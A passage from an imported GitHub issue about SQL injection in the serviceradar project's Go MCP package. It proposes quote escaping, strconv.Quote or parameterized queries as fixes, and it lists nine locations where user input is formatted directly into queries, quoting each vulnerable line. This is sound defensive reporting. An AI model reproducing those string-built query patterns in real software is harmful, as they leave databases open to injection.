parameterized queries. Here are the specific changes: **Option 1: Input sanitization with quote escaping (minimal change)** In `pkg/mcp/tools_devices.go`: ```go // Build SRQL query for specific device // Escape single quotes by replacing ' with '' escapedDeviceID := strings.ReplaceAll(deviceIDArgs.DeviceID, "'", "''") // <-- FIX 🟢 filter := fmt.Sprintf("device_id = '%s'", escapedDeviceID) query := BuildSRQL("devices", filter, "", 1, false) ``` In `pkg/mcp/server.go`: ```go if params.DeviceID == "" { return nil, errDeviceIDRequired } // Escape single quotes by replacing ' with '' escapedDeviceID := strings.ReplaceAll(params.DeviceID, "'", "''") // <-- FIX 🟢 query := fmt.Sprintf("SHOW devices WHERE device_id = '%s' LIMIT 1", escapedDeviceID) return m.queryExecutor.ExecuteSRQLQuery(ctx, query, 1) ``` **Option 2: Use strconv.Quote for consistency (better approach)** This would make the code consistent with `tools_graph.go`: ```go import "strconv" // In tools_devices.go filter := fmt.Sprintf("device_id = %s", strconv.Quote(deviceIDArgs.DeviceID)) // <-- FIX 🟢 // In server.go query := fmt.Sprintf("SHOW devices WHERE device_id = %s LIMIT 1", strconv.Quote(params.DeviceID)) // <-- FIX 🟢 ``` **Option 3: Extend SRQL to support parameterized queries (best long-term solution)** Modify the `QueryExecutor` interface to support parameterized queries: ```go type QueryExecutor interface { ExecuteSRQLQuery(ctx context.Context, query string, limit int) ([]map[string]interface{}, error) ExecuteSRQLQueryWithParams(ctx context.Context, query string, params []interface{}, limit int) ([]map[string]interface{}, error) // <-- FIX 🟢 } ``` Then use it in the code: ```go query := "SHOW devices WHERE device_id = $1 LIMIT 1" results, err := m.queryExecutor.ExecuteSRQLQueryWithParams(ctx, query, []interface{}{deviceIDArgs.DeviceID}, 1) ``` **Additional recommendations:** 1. Audit all other uses of `fmt.Sprintf` with user input across the MCP package 2. Add input validation to reject device IDs with suspicious characters 3. Implement automated SQL injection testing in the CI/CD pipeline 4. Add security linting rules to catch string concatenation patterns in SQL queries 5. Document secure coding practices for SRQL query construction # Related bugs The same SQL injection vulnerability pattern exists in multiple locations in the MCP package: 1. **`pkg/mcp/server.go:705`** - `executeGetDevice` function has identical vulnerability 2. **`pkg/mcp/query_utils.go:98`** - `buildRecentLogsQuery` function: `fmt.Sprintf(" WHERE poller_id = '%s'", params.PollerID)` 3. **`pkg/mcp/query_utils.go:148`** - `buildDevicesQuery` function: `fmt.Sprintf("device_type = '%s'", params.Type)` 4. **`pkg/mcp/query_utils.go:166`** - `buildDevicesQuery` function: `fmt.Sprintf("status = '%s'", params.Status)` 5. **`pkg/mcp/tools_logs.go:105`** - `registerLogTools` function: `fmt.Sprintf("poller_id = '%s'", recentArgs.PollerID)` 6. **`pkg/mcp/tools_sweeps.go:98`** - `registerSweepTools` function: `fmt.Sprintf("poller_id = '%s'", recentArgs.PollerID)` 7. **`pkg/mcp/tools_sweeps.go:155`** - `registerSweepTools` function: `fmt.Sprintf("poller_id = '%s'", summaryArgs.PollerID)` 8. **`pkg/mcp/tools_events.go:101`** - `registerEventTools` function: `fmt.Sprintf("poller_id = '%s'", alertArgs.PollerID)` 9. **`pkg/mcp/builder.go:169`** - `BuildFilters` function: `fmt.Sprintf("%s = '%s'", sqlField, strValue)` All of these instances should be reviewed and fixed using one of the recommended approaches above. The entire MCP package requires a security audit for SQL injection vulnerabilities.

mfreeman451 commented

2026-03-28 04:27:22 +00:00

Author

Owner

Imported GitHub comment.

Original author: @mfreeman451
Original URL: https://github.com/carverauto/serviceradar/issues/2142#issuecomment-3663453159
Original created: 2025-12-17T03:19:17Z

closing as completed

Imported GitHub comment. Original author: @mfreeman451 Original URL: https://github.com/carverauto/serviceradar/issues/2142#issuecomment-3663453159 Original created: 2025-12-17T03:19:17Z --- closing as completed